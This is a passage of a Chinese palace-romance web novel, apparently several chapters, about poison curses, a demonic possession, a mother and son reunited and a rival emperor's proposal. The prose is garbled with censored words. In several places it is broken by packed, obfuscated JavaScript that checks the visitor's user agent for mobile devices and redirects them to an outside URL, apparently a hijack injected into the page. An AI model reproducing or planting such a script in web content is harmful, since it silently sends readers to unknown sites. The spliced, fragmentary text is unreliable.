她的脸上依旧戴着在未央宫之时的**,只是却比那时更显苍老,随着她的轻笑,眼角的皱纹更深了几分。 “陌姑姑如今身体如何?” “左右是内力没了,死不了。” “陌姑姑不让我们进去么?” “呵……本宫倒是忘了你如今怀有龙嗣,不宜久站。”陌姑姑神情淡漠,而话中的语气却似讥似讽,令人听着不由得皱眉。 “陌姑姑,我家公主来看望你,不是听你冷嘲热讽的。”欢凉声音渐冷,她一开始都不喜陌姑姑一副高高在上的样子,纵然她是北宫喆生母又能如何? “欢凉!”安文夕剜了她一眼,对陌姑姑道:“欢凉一向心直口快,陌姑姑莫怪。” 陌姑姑倒也不放在心上,淡淡道:“进来吧。” 房间内的陈设有些简陋,但是摆放整齐,室内被打扫的干干净净。 “坐吧。”陌姑姑坐了下来,给安文夕倒了杯茶道,“长乐宫一事,本宫欠你一份恩情,本宫记得。” “陌姑姑严重了,只要是未央宫的人,我都不会袖手旁观。” 陌姑姑嘴角淡淡扯了一抹浅笑,“羲和公主是怎样的为人,本宫早有耳闻。不过……” “不过,其实本宫并不希望你和他在一起。” 对于这样的话,安文夕并不意外,她浅抿了一口茶水,然后徐徐放下,抬眸看向陌姑姑。 陌姑姑眉眼之间的凌色渐淡,“本宫并无权干涉他,尤其你现在还怀了他的第一个孩子,就是看在孩子的份上,本宫也不会多言。” 欢凉抿了抿唇,将头扭去一旁,什么叫看在孩子的份上不会多言? 安文夕勾唇一笑,“陌姑姑打算何时与他相认?” “以后再说吧。”陌姑姑眸光深远,半晌,转眸看向安文夕道,“你可知他中了忘情蛊?” 安文夕点点头,“知道一点,但凡中了忘情蛊之人,必然活不过三年,待他记忆全部遗失之时,就是死亡之际。” 陌姑姑脸上浮现了一抹浅浅的惊讶,没想到她竟然知道的如此清楚,难道是他告诉她的? 对于忘情蛊,她再清楚不过,当年北宫懿第一个就是忘记了她,他中蛊不过一年,性情大变,六亲不认。而且那一年来,大夏便经历了各种天灾人祸等**之兆,之后安莫霖、楚墨轩、慕容雪三人分别自立为皇,一起攻陷了大夏。最后,北宫懿逼不得已在寝殿里自刎。 对于忘情蛊,她早就有研究,可惜并没有什么收获,而上次月清绝来找她显然没有告诉她实话。 “看陌姑姑的样子也是知晓的,陌姑姑可有解蛊之法?” 陌姑姑苦笑着摇了摇头,“若是本宫有解蛊之法,当年北宫懿就不会惨**。” 安文夕闻言,眼中的希冀慢慢湮灭。也是,这忘情蛊连月清绝都束手无策。 而北宫懿,也就是夏瑜君,她对他并没有多少认识,只是听父皇说他早年确有宏图之志,可惜,后来沉迷于酒色,断送了祖宗江山,成为了千古罪人。 “听月公子说,他要请月谷主出谷,如今也只能等月谷主一试了。” 陌姑姑摇了摇头,“只怕,那月无痕也没有法子,曹暮烟既然会选择给喆儿种下忘情蛊,自然不会让人轻易解蛊。” 安文夕点点头,表示赞同。 “本宫不管你们之间究竟发生了什么,你既然选择了和他在一起,本宫希望你以后可以安分些。不然,本宫绝不会放过你!” 安文夕自然知道这个“安分”何意,只怕她以前刺杀北宫喆的事情陌姑姑一直都放不下,不过,这也是人之常情。 “陌姑姑今日让我来就是为了跟我说这些?” “本宫让你来,自然不是单单警告你。”陌姑姑手中的茶盏袅袅的升着热气,她却丝毫没有喝下去的意思,在缭绕的水汽中隐约看见她的眸中一闪而逝的恨意,“这是曹暮烟二十几年前撒的网,此时她也该收网了。” “曹暮烟虽然和我父皇母后有过节,但是这并不能掩饰她想谋反的心思。” “没错!”陌姑姑双眸微缩。 “这江山是大夏祖宗先辈留下来的,本宫绝不能看着它断送在一个女人手中!” “陌姑姑想要我做什么,不妨直说。” 和聪明人说话,向来不必多费口舌。 “本宫想和你联手,共同对付曹暮烟。” “陌姑姑真是高估我了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江向晚被困在了房间内,此时她的双手手心之中长出了长长的枯藤,顺着筋脉爬满了整个手臂,一直攀至她的双颊。面目狰狞,双眸泣血,额头上爬满了蛇蔓花纹,如枯藤般的东西在皮肤下面乱窜。 她颤着双手覆到双颊之上,摸到皮肤上面的隆起,立即吓得缩回了手。 “镜子呢,镜子呢?” “啪——” 江向晚看到铜镜里的自己,一把将铜镜扫落在地,急急后退,不可置信的抱着头,拼命的摇头道:“不,不,这不是我,不是我!” 她怎么变成了这个样子,太恐怖了! “啊!”江向晚仿佛是受不了刺激一般变得暴躁不堪起来,将身边摆放的东西一股脑掀翻,所经之处,狼藉一片。 “给我血,给我血!”蓦地,江向晚眼底的血色又深了几分。 片刻,她的眸色突然凌厉起来,“曹暮烟,我要杀了你!”当初那老妖婆帮她入魔之时,可没有说魔性会发作!而且,她的魔性发作之时,会变成一个人不人鬼不鬼的怪物。她不仅失去了的半条灵魂,就连剩下的性命还得需要鲜血维持,此刻她好恨呐! 第159章 没有良心 第一百五十九章没有良心 “啪——” “砰——” 北宫喆离得老远就听到了江向晚屋内的动静,脚下的步子越加的急切起来。 “她这是第几次出现这种情况的?” 雪嫣反应过来北宫喆在和她说话,忙应道:“回……回皇上,小姐这样是第一次。” 北宫喆刚到江向晚房前,青玄立即抱拳道:“皇上,属下怕江小姐伤人,所以才……” “朕知道了,打开门吧。” 房门被打开,入目是一片狼藉,地上碎了一地的瓷片,而江向晚此时蜷缩在角落里,将脸颊埋在了臂弯里。 北宫喆眸光一敛,轻声道:“晚儿。” 江向晚听到北宫喆的声音,蓦然抬起头来,脸上浮现一抹惊喜。半晌,似是想到了什么,立即用衣袖将自己的双手遮盖起来,一把捂着自己的脸,大吼道:“你别过来,别过来!” 她现在那么丑陋吓人,怎么能让喆见到呢? “晚儿,别怕。”北宫喆慢慢向她靠近。 “别过来,求你!”江向晚转过身子,将自己蜷缩起来,背对着北宫喆。 北宫喆看着她硕硕发抖的身子,心中一滞,走近拉住她的手道:“晚儿,别怕,是朕。” “喆,不要,我这么丑,会吓到你的。”江向晚死死咬住下唇。 “朕不怕,晚儿不丑,来,起来。”北宫喆将她从地上拉起来。 对上北宫喆略有些柔色的眸子,江向晚咬着嘴角,慢慢放下了捂着脸的衣袖道:“你看,吓人么?” 北宫喆看着她脸颊上密布的蛇蔓纹路,泛血的双眸,轻轻道:“不吓人,晚儿不吓人。” “喆——”江向晚眼眶一湿,再也忍不住扑向了北宫喆的怀抱。 有多久,他没有这样轻声的对她说过话了? 他身上淡淡的清香渐渐压下她内心的暴躁,一如小时候那样令她安心。 *** 她六岁之时,因为将教她女红的绣娘气走,被娘亲骂了一顿,关在了院子里,不许别人看她,是他偷偷地翻墙来找她。 “喆哥哥,我才六岁,娘亲就逼着我绣花,可是我不喜欢绣花。”她那时委屈的抹着眼泪。 “别哭了,哭成小花猫就不好看了。”他拉着她的手轻言软语,从背后拿出来给她带来的好吃的。 “还是喆哥哥对晚儿好。” “晚儿若是学女红,不如将你绣的第一件东西送给我保存,等将来你出嫁的时候我给你当作嫁妆。” “不要学,晚儿不要学女红。” *** 她十岁之时,跟着季将军学习剑法,却不小心将自己的手臂划伤,也是他一把撕下身上的衣服给她包扎伤口。 “晚儿,你坐。”北宫喆递给她手帕道,“擦擦吧。” “喆,你没有嫌弃我,真好。” “这是曹太后逼你的,还是你自愿的?” “喆……”江向晚蓦然抬眸,看向对面的北宫喆。 “你身上被植入了魔根,朕问你,这是不是你上次回夏宫的时候,曹太后逼你的。” “是,就是曹太后逼我的,是她偷走了我的半条灵魂,我要杀了她!”江向晚眼底原本渐渐消逝的血红再次汹涌出来。 “晚儿,你冷静一下。”北宫喆握住了她张牙舞爪的双手。 “啊——这不是我的手,我的手才没有这样的怪东西!”江向晚惊恐的看着从她掌心中钻出来的枯藤,双目微睁。 北宫喆扣住了她的手腕,轻探上她的脉搏,一股汹涌着的煞气在她体内肆意游走。 这是南昭极为阴邪的噬魂魔! “喆,救我救我,我不想这个样子,我不想!”江向晚痛苦的跌坐在地上。 “你先放松,你的情绪越是激动,魔性就越强。” 果然,听了北宫喆的话,江向晚顿时安静下来。 北宫喆倒了杯茶水递给她道:“既然你入魔,你体内的引魂丹呢?” “引魂丹?”江向晚怔怔的看着北宫喆,“难道你此行是来给我要引魂丹的?” “你现在也用不着引魂丹了,将它给朕。至于你入魔这件事,朕会想办法的。” 江向晚痴痴地笑了,“我就知道你不会来看我的,你有了安文夕,怎么还会想起我?我真是傻。” 半晌,她倏地站了起来,看着北宫喆期期艾艾道:“你明明记得我的生辰,可是却没有给我送生辰礼物。北宫喆,你没有良心!”说到最后,江向晚咆哮声音里带了丝哭腔。 她为了他可以做任何事,而他却对她不闻不问,这不公平! “晚儿,你的生辰礼物,在夏宫。” “你说的,是真的?”江向晚双眸迸出喜色,一把握住了北宫喆的手,顺势靠在了他的怀中,眼底的余光有意无意的瞥向房外。 “是真的。”北宫喆轻轻拍了拍她的肩膀,试图安抚她的情绪。 江向晚的房门未关,安文夕立在门外,将里面的情景看的清清楚楚。 欢凉双眸泛着怒气,这北宫喆明明就已经和公主言归于好了,还到处拈花惹草! “瑾淑妃娘娘……” 安文夕看了眼有些为难的青玄道:“我在外面等他。” “晚儿,朕问你,引魂丹呢?” “引魂丹被曹太后取走了。” “什么?”北宫喆眸光敛尽,放在江向晚肩膀上的手陡然发力。 “喆,你弄疼我了。”江向晚揉着肩膀有些不悦道。 “你好好休息,朕改日再来看你。” “你果然还是为了引魂丹而来!”江向晚拉住北宫喆的袖子,“不要走,喆,不要走。” “晚儿,朕让月清绝来给你瞧瞧。”北宫喆眼底的余光扫见了门口的那一抹红色的衣角。 “你就是想去找安文夕对不对!”江向晚的眸光狠戾,眼底血红一片,刚刚消退下去的蛇蔓纹路肆意的攀爬着,瞬间遍布了她的整张脸,一条条枯藤在皮肤下面发狠的涌动着,似乎要破肤而出一般。 “给我血,给我血!求求你,给我!”江向晚面目狰狞着朝北宫喆扑来。 北宫喆黑瞳骤缩,拿出一把精致的短刀迅速的划过他的手腕,接了一碗鲜血,递给了江向晚。 看来她以后要依靠饮血而活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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北宫喆和安文夕刚刚回到景泉宫不久,还没有来得及用晚膳,青玄急匆匆从殿外赶来,脸色凝重道:“启禀皇上,陌姑姑不见了。” 安文夕闻言心里咯噔一下,难道她…… 北宫喆厉声道:“立即去找!” 青玄领命而去,安文夕忙对北宫喆道:“我怕陌姑姑去了南昭!” 北宫喆眸光微转,瞬间明白了她的意思,那个人竟然想去南昭为她寻解药! “夕儿,你先用膳,朕去去就回。” “我和你一起去。”安文夕握紧了他的手,眼底的坚定不容拒绝。 “好。” “等一下,我们先去陌姑姑的院子看看也不迟。”也许,也许陌姑姑并没有去南昭呢,毕竟陌姑姑是个有分寸的人,做事不会轻举妄动。 北宫喆和安文夕来到陌姑姑的院子时,她的房间一片漆黑,就连院子里也没有掌灯,安文夕感觉握着自己的手紧了几分。 第160章 母子相认 第一百六十章母子相认 就在他们转身之际,身后传来一阵脚步声,只见陌姑姑提着一只灯笼朝他们走来,手里还似乎拿着什么东西,看到他们二人,眼中掠过一抹惊讶。 安文夕顿时心中一松,轻声道:“陌姑姑。” “既然来了,就进来吧。” 陌姑姑进了房间掌了灯,安文夕这才发现陌姑姑鬓角微湿,银白的发间还有些细碎的草叶,就连脚上也沾了一层泥巴,显然是出去了许久。 “都坐吧。”陌姑姑打量了他们二人一眼。 一旁的火炉子上面烧着的水壶正呲呲的冒着热气,陌姑姑不紧不慢的取下水壶,泡了茶,一套丨动作如行云流水一般,优雅万分,有一种令人说不出的舒服。 “这是明前龙井,你尝尝。” 安文夕心中一惊,没想到陌姑姑将他的喜好摸得如此清楚。 北宫喆看着面前升腾着热气的茶水,轻垂着眼眸。 半晌,头顶传来陌姑姑略显沧桑的声音道:“怎么,本宫给你泡的茶你还喝不得了?” 北宫喆没有再看那茶,一把拉住安文夕的手道:“夕儿来,跪下。” 安文夕顺从的跟在了北宫喆身后,跪在了他的脚边。 “孩儿给母妃磕头。” 瞥见一旁的安文夕微微发愣,北宫喆对安文夕传音入密道:“还愣着做什么,朕的母妃就是你的母妃。” 安文夕抿了抿唇:“给母妃磕头。” 陌姑姑蓦然一惊,看着地上叩头的二人,眸光越发的柔和,连一向清冷的眸子也有了些湿润,不由得握紧了椅子上的扶手,她这辈子也没有想过还有今日这一幕。 “都起来吧。” 看着北宫喆俊美无斯的脸庞,陌姑姑的眼眶再次湿润,喃喃道:“真像,真像。” “接下来,母妃有什么打算?” 许是北宫喆多年养成的孤冷的性子,即使关心的语气也略显得冷淡了些。 不过,陌姑姑根本不在意这些,擦了擦眼角,“本宫向来无拘无束惯了,以后只想图个眼前清净。” 看来陌姑姑是不会回夏宫的。 “儿臣在承安远郊,购置了一处别院,不如母妃去那里安养身体。” “不必如此麻烦了,母妃自己有去处。” “也好。” 母子二人都是如此清冷的性子,一时间突然静了下来,安文夕扯了扯北宫喆的衣袖道:“我们今晚不如就在陌姑姑……母妃,这里用晚膳吧。” “好。” 陌姑姑再次看向安文夕的眸光中多了一抹淡淡的感激,虽然儿子和她生疏,如今她也满足了。 席间,三人都安静的吃着自己面前的饭菜,北宫喆亦是沉默的为安文夕和陌姑姑二人夹菜,安文夕正吃着饭,突然胃里一阵翻涌,忙立即放下筷子,捂住了嘴。 “唔~”她匆忙起了身子,跑到了院子里,不受控制的狂吐了起来。 看着北宫喆眉宇之间的担忧,陌姑姑淡道:“她这是孕吐,你不用担心。” 北宫喆微微点头,脸上的担忧未减,“儿臣去看看。”说完身形一闪,便掠出了房门。 “夕儿,你怎么样?”北宫喆轻轻地拍着她的后背。 安文夕擦了擦嘴,轻挽黛眉,“还好,就是胃里有点不舒服。” “喝点水,漱漱口。” 安文夕压下胃里的不适,扶着北宫喆的手微微站起了身子,“走吧。” 晚膳完毕,安文夕和北宫喆也没有多留,起身和陌姑姑行礼告退。 陌姑姑拿来一些带着露水的药草递给北宫喆道:“将这些三青草带走吧,三青草别名续情草,希望对你中的忘情蛊有帮助。” 这正是陌姑姑刚才回来的时候手中所拿的那把药草,刚才她出去了那么久…… 北宫喆眼底多了抹温柔的眸光,“多谢母妃,我们先告退了。” “等一下,你在外面等我。”安文夕转眸对北宫喆道。 “好。” 北宫喆一走,安文夕上前一步,看着陌姑姑道:“不知陌姑姑打算去哪?” 陌姑姑眉眼间的柔和渐渐淡去,声音有些发冷,“他是让本宫认了你,但是你还没有资格干涉本宫的自由。” “我只是想劝陌姑姑一声,南昭不是好去的,希望陌姑姑多加思量。”说完安文夕微微福身,“夕儿告退。” 陌姑姑眸光渐深,若有所思的看着安文夕的后背。 “走吧。”安文夕走过去挽住了北宫喆的胳膊,北宫喆握住了她的手,没有过问她和陌姑姑之间究竟说了些什么。 二人相携而走,仿佛是踏着经年岁月一路走来。 北宫喆和安文夕回到景泉宫已经是亥时了,简单的洗漱了一下,便上榻歇息,由于安文夕如今有孕在身,北宫喆每晚都是抱着她入睡,倒没有什么逾越的举动。 看着北宫喆手腕上刚添的新伤口,安文夕抿了抿唇,没有说话。半晌摸了摸她放在枕头下面的玉镯,半垂眸光。 “怎么了?是不是哪里不舒服?” “没有,我有些想父皇了。”安文夕浅浅勾唇。 “再过几日,咱们就回承安。”北宫喆一掌熄灭了摇曳的灯光,将她拥入怀中,在她耳畔轻道,“睡吧。” 第二日一早,二人一起用了早膳,北宫喆嘱咐了她好心养胎,并交代了欢凉好生伺候,便抬脚去了月清绝那里。 欢凉给安文夕端了药,看着已经走远的北宫喆,撇了撇嘴道:“公主,那个北宫喆一定是找月公子商量江向晚的事情了,他也不是个好东西,吃着碗里的望着锅里的!” 安文夕淡淡勾唇,说实话她没办法不介意他和江向晚,就如他没办法不介意她和楚君昱一样。 但是,两个人在一起,重要的是信任,对于他的行为,她会选择尊重。 “好了,我还不吃醋呢,你倒先吃起醋来了。” “公主骗不了欢凉,你明明是在意的,不然也不会在这里坐着发呆了。” 安文夕从枕头下面拿出一个盈绿的碧玉手镯,用锦盒装好,塞到袖兜。她咬了咬唇,有些事情也该彻底说清楚了,她终究还是辜负了他的一片真心。 “走吧。” “公主,你这是?” “去见玉公子。” 暖仪殿内,一尊小巧精致的玉鼎内正袅袅的升腾着龙涎香, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517226|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令人一阵安神。 不远处的矮几上,两个冠美绝伦的男子各执一棋。白衣如雪,紫衣魅惑。一白一紫,宛若两尊谪仙,一个冷尊傲然,一个慵懒邪魅。 楚君昱似笑非笑对着对面的男人道:“夏皇,该你了。” 楚君昱的白棋此时已经**掉了一片,而他身形岿然不动,不起波澜的脸上带着凌然自信。 半晌,北宫喆执起一枚白子缓缓落下,楚君昱顿时脸色一变,半晌嘴角噙起一抹浅笑。 这个男人果然腹黑,不论是谋略还是布局,都和她如出一辙,甚至比她更会布局,几乎每一步都恰到好处而又不令人发觉他的目的。 “你输了。”北宫喆淡淡道。 楚君昱不再看一局残局,看着北宫喆清冷的眸光道:“她的棋你教的?” “不是。” 安文夕的下棋手法十分诡谲,令人在不知不觉之间陷入她早就布好的陷阱之中,而北宫喆的棋艺则更显霸气。 “朕认输。”楚君昱勾唇道,他的棋艺向来不好,他还是有自知之明的。 突然,暗影走进殿内,贴在楚君昱耳边说了几句,楚君昱嘴角勾起一丝玩味的笑,打量了北宫喆一眼道:“让她进来吧。” 安文夕进殿后,看到一袭白袍的北宫喆,眸中掠过惊讶,“你怎么会在这里?” “朕为何不能在这里?” “我以为你去找月公子了呢。” “楚皇盛情邀请,朕怎能拒绝?” “胭脂过来坐吧。”楚君昱微微一笑。 听着楚君昱特别的称呼,看着他一脸的温柔,北宫喆几不可见的皱了皱眉。眸光转向安文夕,声音微冷:“夕儿,怎么来了?” “我……”安文夕顿时哑口,明明没什么,为什么看着他深邃的眸光,她顿时有一种被捉奸的感觉。 “我也是来找玉公子下棋的。”安文夕翩然落座,没有半分刚才的窘迫。 听到她叫楚君昱为“玉公子”,北宫喆的脸色又黑了几分,“你若是想下棋,朕也可以陪你。” “咳咳,暗影,上茶。”楚君昱以手掩唇咳嗽了两声。 暗影暗暗叫苦,他是暗卫,不是婢女呀。 “楚皇嗓子不好?这是病,得治。” “噗——”听到北宫喆冰冷的语气说出来的话,安文夕忍不住笑了出来。 楚君昱邪邪一笑,“夏皇说的是,朕待会就去月公子那里讨个方子。” “朕也要去月清绝那里,不如一起去。”北宫喆显然没有放过楚君昱。 安文夕咬了咬下唇,不动声色的在北宫喆的大腿上拧了一把,眼底的余光狠狠的看向他。 这个小气的男人! 北宫喆一把捉住了安文夕的小手,安文夕顿时收也不是,不收也不是,只得拿眼剜着北宫喆。 北宫喆顿时心情变好,一手握着安文夕的手,一手颇有闲情逸致的端起面前的茶盏,淡淡的看着上面飘着的零星茶叶,丝毫没有喝的意思。 楚君昱看着二人之间亲密的小动作,眸光流转一抹不易察觉的黯光,转眸看向安文夕道:“胭脂今日来到底所为何事?”语气仍然带着惯有的温和。 第161章 陪朕一年 第一百六十一章陪朕一年 安文夕拿眼看向身侧的北宫喆,用力握了握他的手。 “朕还有事,先走一步。”北宫喆右手一翻,狠狠的在安文夕手心捏了一把,警告意味十足。 安文夕吃痛的略皱了黛眉,不由得暗自咬牙。 “胭脂,你没事吧?” “我没事。”安文夕温温一笑。 “你今日来……” 安文夕从袖子中取出一方锦盒递给楚君昱,她抿了抿唇道:“对不起,这手镯的寓意我很清楚,所以……” 楚君昱未接锦盒,眸光顿时一黯。 “玉公子……” 楚君昱嘴角噙起一抹苦笑,无奈道:“你有多讨厌这个镯子?朕送你三次你还回来三次。” 安文夕听着楚君昱无奈的口气,心中一滞,半晌道:“至于那柄玄冰骨扇,你是给凤轻歌的,我就收下了。而这碧玉镯子,你给的是安文夕,所以我不能收。” 楚君昱嘴角的笑意凝住,她拿他当知己,只接受他对她的友情,而不接受他对她的男女之情。 她说的真挚,而他的心却一点点苦涩起来。 “既然你只接受朕送给凤轻歌的东西,那么朕将这镯子送给凤轻歌。” “你——” “胭脂先别急着拒绝。” 楚君昱指尖摩挲着杯沿,黑瞳变得深邃,“胭脂可知道南昭太子华宇单?” 安文夕点点头,虽然南昭和其他诸国相对隔绝,可是这位南昭太子雄才大略,少年成名,在九州大陆上还是颇有盛名,安文夕早些年就听闻过他。 不过,楚君昱怎么好端端的提到了南诏太子? “那胭脂可知道华宇单十八岁之时,娶了一位太子妃,三年之后,那太子妃不知为何突然暴毙?” 安文夕摇了摇头,这她就不知晓了。 “据说那华宇单倒也是个痴情种子,一心想要复活他的太子妃,这四年来,华宇单派了不少死士前往中原寻找千年龙魄。” “这个我更是没有耳闻。” 这件事她还真的一点都不知道,看来她以前对这外界的事情关注的还是太少了。 “这本就是秘辛,你不知道也正常。” 既然是秘辛,楚君昱却打听的如此清楚,想必他也花了不少力气在南昭安了暗桩吧。 “胭脂可知当日你与我在恶龙潭夺下的千年龙魄现在何处?” 看着楚君昱淡淡噙着的笑意,安文夕蓦地一惊,“难道在你这里?” “胭脂果然聪明。” “那慕容清既然敢来我西楚,自然不会这么容易全身而退!” “玉公子跟我说这些做什么?” “难道胭脂不明白朕的意思?” “玉公子不妨直言。”安文夕咬唇,楚君昱的意思很明显,只要她拿千年龙魄和华宇单交换,就有可能得到忘情蛊的解药。可是,看他的样子,并没有打算将千年龙魄相送。既然如此,为何还要提点她? “只要胭脂答应朕一个请求,朕就将千年龙魄送给你。” “什么请求?” “入楚宫陪朕一年!” 什么?安文夕难以置信的看着楚君昱。 “朕也不逼你,你先回去好好考虑。至于这碧玉手镯,你先收着,等你什么时候想好了,就遣人将这手镯送到盛京。”楚君昱淡扫了眼桌上的锦盒。 安文夕怔怔的看着他,实在想不明白他为何要这样做,她可是都怀了北宫喆的孩子了啊,难道他不在乎朝臣百姓的指责么? “时间不早了,你早些回去歇息。” 安文夕收了锦盒,却感觉那方小小的锦盒拿在手中似有千斤重一般。 欢凉见她出来立即迎上去,看了她一眼担忧道:“公主,你没事吧,看起来脸色有些不对。” “没事,走吧。” 景泉宫的偏院里,北宫喆负手而立,瞥见了在一旁捣药的袭匀,开口道:“你怎么会在这里?” “我怎么不能在这里,小师妹吃的药,还有你的药,哪副不是本公子亲自煎得?”袭匀不以为意的撇嘴。 北宫喆的眸光从他脸上掠过,然后径直绕过他,走到月清绝身边,一撩衣袍,翩然落座,翻飞的衣摆勾勒出优雅。 “你不是去和楚君昱下棋了么,怎么来了我这里?” “夕儿去了,朕就回来了。” “什么?”月清绝和袭匀皆难以置信道。 “你没毛病吧?”袭匀眉头皱了一半,被北宫喆冰冷的眼神冻得一个机灵。 月清绝拉着北宫喆将事情的经过全部八卦了一遍,最后撇撇嘴道:“这么说来,你自个儿来了我这里,把你媳妇儿留在了你的情敌那里。” 北宫喆点了点头,算是吧。 月清绝一副恨铁不成钢的样子对北宫喆道:“你不知道,那楚君昱看到安文夕眼睛都放光了,你倒是放心。” “楚君昱是个君子,更何况,他们之间不过是朋友罢了。”北宫喆淡淡道。 在这一点上,安文夕从不干涉他,他自然不会去限制她的自由。吃醋是真的,但是自从那个误会让他们彼此折磨了那么久,他现在更多的是选择对她信任。 月清绝无奈的叹了口气,又拉着他苦口婆心说了半天对情敌的防范意识,看着北宫喆越来越黑的脸色,他终于识趣的闭上了嘴。 最后,撇撇嘴道:“你不爱听,我不说就是了,可是我这也是为了你好啊。” 半晌,北宫喆幽幽道:“你不整天和你的情敌如胶似漆么?”眼角的余光有意无意的打量了眼一旁的袭匀。 “切,谁和他如胶似漆。” 听到二人异口同声的声音,北宫喆淡道:“不错,连默契都有了。” “谁和他有默契!” “我说,**袭,你能不能不要学本公子说话?” “明明是你学的本公子,你还好意思指责我!” 北宫喆不耐的按了按太阳穴,看着即将要掐起来的二人,沉声道:“朕不是来看你们掐架的!” 月清绝瞪了袭匀一眼,然后看向北宫喆道:“说吧,今日来我这里所为何事?” “那日你为晚儿把了脉,她现在身体如何?” “目前就身体来看,并没什么不妥的地方,而且功力进展神速。” “别的呢?” “除了脾气暴躁点,每个月需要靠人血而活外,她现在的状况挺好的。” “你可知她现在是半魂人。” “半魂人?”袭匀惊道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江向晚听着越来越近的脚步声,头也未抬,“你来了?” “晚儿。”惊魂挨着她坐下。 “你不怕我么?”江向晚目光有些呆滞。 惊魂没由来的一阵心疼,“我不怕。”他和她一路从承安到济州,再到幽冥山,早就发觉了她的异常。 这个傻丫头,竟然为了那个抓不住的男人,毁了自己的一生! “可是,我是妖怪呀,我真的很可怕,就连雪嫣都躲着我,躲着我!”她变得痛苦起来。 “晚儿,你不是妖怪,从小你在我眼里,就是一个小仙女。”惊魂握住了她的手。 好像是终于得到了安慰一般,江向晚靠在了惊魂的肩头低低的啜泣起来。 “擦擦吧。” 半晌,江向晚没有接惊魂递来的手帕,从袖子里掏出来一块方帕道:“这是你上次给我的,我……我早就洗干净了。” 惊魂心中一滞,拿起她手中的帕子拭去了她脸上的泪痕。 第162章 又有喜了 第一百六十二章又有喜了 “谢谢。”江向晚抿了抿唇,飞快的将惊魂手中的帕子攥在了手中,“我下次洗干净再还你吧。” “好。”惊魂的手蓦地一僵。 “惊魂,你走吧,我想一个人静一静。” “你的药我放里面了,别忘了喝药。”惊魂起身看了眼一旁的食盒。 江向晚眼眶一酸,微微点头,掩去眼底一闪而逝的感动。 惊魂走了两步,又回头道:“皇上中了忘情蛊的事情你还不知道吧?” “什么,忘情蛊?” “看来他真的没有告诉你。”惊魂喃喃道,再次想起那个人曾对他道,“若是朕有什么意外,晚儿就托付给你了。” 江向晚倏地站了起来,“你说什么,什么忘情蛊?” 看着她激动的神色,惊魂微微垂眸道:“没什么,月公子已经为皇上解过了,你不必担心。” 江向晚稍稍放下了心来,慢慢做回石凳上,月清绝的医术她自然是相信的。 安文夕回到景泉宫的时候,北宫喆已经回来一会了,安文夕深吸一口气,踏了进去,坐在了他的旁边。 “脸色这么苍白,是不是哪里不舒服?” “我没事,就是有点累了,想睡一会。” “睡吧,晚膳的时候叫你。”北宫喆一向清冷的眸光变得柔和。 谁知,安文夕起身之际,袖兜里的锦盒直接掉了出来,落在了地上,里面的碧玉手镯蓦地滚了出来。 安文夕心中一惊,来不及看北宫喆的脸色,直接弯腰去捡,比她更快的是一只骨节分明的大手将地上的碧玉手镯捡了起来。 北宫喆打量着手中泛着盈盈绿光的手镯,眸光一沉,黑瞳变得分外深邃。 “我……”安文夕小心的瞥了眼北宫喆的脸色,可知道,那次在凤青轩,北宫喆直接从她手上摘下来这碧玉手镯扔给了楚君昱。 “我大夏不缺这些东西。”他那霸道中夹着愤怒的声音再次在她耳边响起。 北宫喆将地上的锦盒一并捡起,将碧玉手镯放进了里面,然后将锦盒递给她道:“既然是他送你的,你就收着吧。” 安文夕脸上顿时扶起一抹惊讶。 北宫喆不禁低笑,然后眸光轻柔,紧紧锁着她,“朕信你。” “北宫喆。”安文夕握紧了手中的锦盒,如果当初他也能这么相信自己的话,该有多好。可惜,没有如果。 “你肚子里还有朕的种,朕怕什么?”北宫喆霸道的将她拥入怀中,细密的吻接踵而至,北宫喆微微托着她的头,在她的樱唇上浅尝辄止,一点点的溜进她的唇内。 “唔~不要……”安文夕身后后仰,躲避着他的长驱直入。 他的霸道让她不容拒绝,更令她避无可避。 “夕儿……”北宫喆浅浅低吟,面前的小人,令他忍不住去品尝,忍不住攫取她的美好。 “别,这是白天。” 北宫喆含着她的樱唇道:“朕只不过是想亲亲你罢了,你想到哪里去了?” 北宫喆话音一落,安文夕的脸颊陡然变红。 “咳咳……”月清绝看到这火辣的一幕,脸色浮现一抹不自在。 “哎呀妈呀,哥,咱们来的可不是时候,要不咱们待会再来吧。”月无双吐了吐舌头。 “放~开~”安文夕用胳膊抵着北宫喆,被人看到了,简直要丢**了! 北宫喆紧紧的将她禁锢在怀中,用眼角的余光扫了眼来人,意犹未尽的在她的唇畔流连一瞬,这才松开了她,脸上再次回复惯有的冷若冰霜,淡淡开口道:“不会敲门么?” “门……没关。” “你们怎么来了?” “咳咳,我说,你们就算是再把持不住,好歹留到晚上。更何况,请考虑一下她肚子里孩子的感受好么?” “哥,你说的太直接了,委婉点嘛。” “这事委婉不了。”月清绝撇嘴。 